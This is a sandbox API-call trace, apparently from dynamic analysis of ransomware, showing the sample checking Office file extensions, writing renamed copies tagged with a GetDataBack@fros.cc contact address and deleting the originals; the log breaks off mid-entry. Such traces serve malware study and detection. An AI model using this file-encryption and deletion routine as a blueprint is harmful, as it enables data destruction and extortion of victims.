[0119.025] lstrlenW (lpString=".xls") returned 4 [0119.025] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString=".xlsx") returned 5 [0119.025] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0119.025] lstrlenW (lpString=".ppt") returned 4 [0119.025] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.025] lstrlenW (lpString=".zip") returned 4 [0119.025] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString=".rar") returned 4 [0119.025] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString=".bz2") returned 4 [0119.025] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0119.025] lstrlenW (lpString=".7z") returned 3 [0119.025] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0119.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.025] lstrlenW (lpString=".dbf") returned 4 [0119.025] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0119.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.025] lstrlenW (lpString=".1cd") returned 4 [0119.025] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0119.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0119.025] lstrlenW (lpString=".jpg") returned 4 [0119.025] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0119.025] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0119.025] lstrlenW (lpString="OCT.CHM") returned 7 [0119.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.222] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=71236) returned 1 [0120.222] CloseHandle (hObject=0x1c0) returned 1 [0120.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0120.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.223] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.223] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.223] GetLastError () returned 0x0 [0120.223] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x11644, lpOverlapped=0x0) returned 1 [0120.329] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x11650, lpOverlapped=0x0) returned 1 [0120.330] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0120.330] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe2, lpOverlapped=0x0) returned 1 [0120.331] SetEndOfFile (hFile=0x1f0) returned 1 [0120.331] CloseHandle (hObject=0x1f0) returned 1 [0120.332] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.332] SetEndOfFile (hFile=0x1c0) returned 1 [0120.333] CloseHandle (hObject=0x1c0) returned 1 [0120.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0120.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.335] lstrlenW (lpString=".doc") returned 4 [0120.335] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0120.335] lstrlenW (lpString=".docx") returned 5 [0120.335] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0120.335] lstrlenW (lpString=".pdf") returned 4 [0120.335] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0120.335] lstrlenW (lpString=".xls") returned 4 [0120.335] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".xlsx") returned 5 [0120.336] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0120.336] lstrlenW (lpString=".ppt") returned 4 [0120.336] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".zip") returned 4 [0120.336] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".rar") returned 4 [0120.336] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".bz2") returned 4 [0120.336] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0120.336] lstrlenW (lpString=".7z") returned 3 [0120.336] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".dbf") returned 4 [0120.336] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".1cd") returned 4 [0120.336] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".jpg") returned 4 [0120.336] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".doc") returned 4 [0120.336] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".docx") returned 5 [0120.336] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0120.336] lstrlenW (lpString=".pdf") returned 4 [0120.336] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".xls") returned 4 [0120.336] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".xlsx") returned 5 [0120.336] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0120.336] lstrlenW (lpString=".ppt") returned 4 [0120.336] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.336] lstrlenW (lpString=".zip") returned 4 [0120.336] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".rar") returned 4 [0120.336] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0120.336] lstrlenW (lpString=".bz2") returned 4 [0120.336] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0120.336] lstrlenW (lpString=".7z") returned 3 [0120.337] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0120.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.337] lstrlenW (lpString=".dbf") returned 4 [0120.337] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0120.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.337] lstrlenW (lpString=".1cd") returned 4 [0120.337] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0120.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0120.337] lstrlenW (lpString=".jpg") returned 4 [0120.337] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0120.337] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.337] lstrlenW (lpString="SETUP.XML") returned 9 [0120.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.337] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=9352) returned 1 [0120.337] CloseHandle (hObject=0x1c0) returned 1 [0120.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0120.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.338] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.338] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.338] GetLastError () returned 0x0 [0120.338] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2488, lpOverlapped=0x0) returned 1 [0120.339] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2490, lpOverlapped=0x0) returned 1 [0120.340] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0120.340] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe6, lpOverlapped=0x0) returned 1 [0120.340] SetEndOfFile (hFile=0x1f0) returned 1 [0120.340] CloseHandle (hObject=0x1f0) returned 1 [0120.341] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.341] SetEndOfFile (hFile=0x1c0) returned 1 [0120.342] CloseHandle (hObject=0x1c0) returned 1 [0120.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.342] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0120.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.342] lstrlenW (lpString=".doc") returned 4 [0120.342] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.342] lstrlenW (lpString=".docx") returned 5 [0120.342] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.342] lstrlenW (lpString=".pdf") returned 4 [0120.343] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".xls") returned 4 [0120.343] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".xlsx") returned 5 [0120.343] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.343] lstrlenW (lpString=".ppt") returned 4 [0120.343] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString=".zip") returned 4 [0120.343] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.343] lstrlenW (lpString=".rar") returned 4 [0120.343] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".bz2") returned 4 [0120.343] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".7z") returned 3 [0120.343] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString=".dbf") returned 4 [0120.343] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString=".1cd") returned 4 [0120.343] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString=".jpg") returned 4 [0120.343] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.343] lstrlenW (lpString=".doc") returned 4 [0120.343] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".docx") returned 5 [0120.343] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0120.343] lstrlenW (lpString=".pdf") returned 4 [0120.343] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.343] lstrlenW (lpString=".xls") returned 4 [0120.343] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString=".xlsx") returned 5 [0120.344] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0120.344] lstrlenW (lpString=".ppt") returned 4 [0120.344] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.344] lstrlenW (lpString=".zip") returned 4 [0120.344] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.344] lstrlenW (lpString=".rar") returned 4 [0120.344] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString=".bz2") returned 4 [0120.344] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString=".7z") returned 3 [0120.344] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.344] lstrlenW (lpString=".dbf") returned 4 [0120.344] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.344] lstrlenW (lpString=".1cd") returned 4 [0120.344] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0120.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0120.344] lstrlenW (lpString=".jpg") returned 4 [0120.344] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0120.344] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0120.344] lstrlenW (lpString="Office32MUI.XML") returned 15 [0120.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.345] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1383) returned 1 [0120.345] CloseHandle (hObject=0x1c0) returned 1 [0120.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0120.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0120.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0120.345] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.345] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0120.347] GetLastError () returned 0x0 [0120.347] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x567, lpOverlapped=0x0) returned 1 [0120.348] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x570, lpOverlapped=0x0) returned 1 [0120.349] ReadFile (in: hFile=0x1c0, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0120.349] WriteFile (in: hFile=0x1f0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xf2, lpOverlapped=0x0) returned 1 [0120.349] SetEndOfFile (hFile=0x1f0) returned 1 [0120.349] CloseHandle (hObject=0x1f0) returned 1 [0120.350] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0120.350] SetEndOfFile (hFile=0x1c0) returned 1 [0120.350] CloseHandle (hObject=0x1c0) returned 1 [0120.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0120.351] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0120.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.351] lstrlenW (lpString=".doc") returned 4 [0120.351] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString=".docx") returned 5 [0120.351] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0120.351] lstrlenW (lpString=".pdf") returned 4 [0120.351] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString=".xls") returned 4 [0120.351] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString=".xlsx") returned 5 [0120.351] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0120.351] lstrlenW (lpString=".ppt") returned 4 [0120.351] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.351] lstrlenW (lpString=".zip") returned 4 [0120.351] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0120.351] lstrlenW (lpString=".rar") returned 4 [0120.351] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString=".bz2") returned 4 [0120.351] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0120.351] lstrlenW (lpString=".7z") returned 3 [0120.351] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0120.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0120.351] lstrlenW (lpString=".dbf") returned 4 [0120.351] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0120.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 